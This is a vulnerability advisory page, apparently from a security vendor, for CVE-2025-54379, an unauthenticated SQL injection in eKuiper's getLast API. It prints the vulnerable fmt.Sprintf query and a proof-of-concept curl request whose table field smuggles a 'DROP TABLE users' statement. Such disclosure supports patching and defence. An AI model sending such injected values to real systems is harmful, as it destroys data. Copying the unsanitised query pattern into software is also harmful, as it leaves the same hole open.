🛡️ CVE-2025-54379 — ekuiper
Description
eKuiper API endpoints handling SQL queries with user-controlled table names.
Summary
A critical SQL Injection vulnerability exists in the getLast API functionality of the eKuiper project. This flaw allows unauthenticated remote attackers to execute arbitrary SQL statements on the underlying SQLite database by manipulating the table name input in an API request. Exploitation can lead to data theft, corruption, or deletion, and full database compromise.
Details
The root cause lies in the use of unsanitized user-controlled input when constructing SQL queries using fmt.Sprintf, without validating the table parameter. Specifically, in:
```go
query := fmt.Sprintf("SELECT * FROM %s ORDER BY rowid DESC LIMIT 1", table)
```
Any value passed as the table parameter is directly interpolated into the SQL string, enabling injection attacks. This is reachable via API interfaces that expose time-series queries.
PoC
1. Deploy eKuiper instance (default config is sufficient).
2. Send a crafted request to the SQL query endpoint:
```bash
curl -X POST http://localhost:9081/sql-query \
-H "Content-Type: application/json" \
-d '{
"table": "sensors; DROP TABLE users; --",
"operation": "getLast"
}'
```
3. Effect: Executes two SQL queries — the first selects data, the second drops the users table.
4. Verify Result:
```bash
sqlite3 etc/kuiper/data/kuiper.db ".tables"
```
Impact
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Refferences
- https://github.com/lf-edge/ekuiper/commit/72c4918744934deebf04e324ae66933ec089ebd3
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
CVE-2025-54379 is classified as CWE-89: SQL Injection. Untrusted input is concatenated into an SQL statement, letting an attacker change the query and reach data the request should not return.
Affected software
CVE-2025-54379 is recorded against 3 packages.
- ekuiper
- github.com/lf-edge/ekuiper
- github.com/lf-edge/ekuiper/v2
Timeline and source
Published on 24 July 2025 and last revised on 13 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| ekuiper | — | — |
| github.com/lf-edge/ekuiper | — | — |
| github.com/lf-edge/ekuiper/v2 | — | — |
References
Similar Threats
- Medium CVE-2024-52290
- High CVE-2024-43406
More CVE 2025 advisories
Browse all of CVE 2025 in the advisory index.
Exploit Protection
Are you running ekuiper?
CVE-2025-54379 carries CVSS 9.8 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2025-54379 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.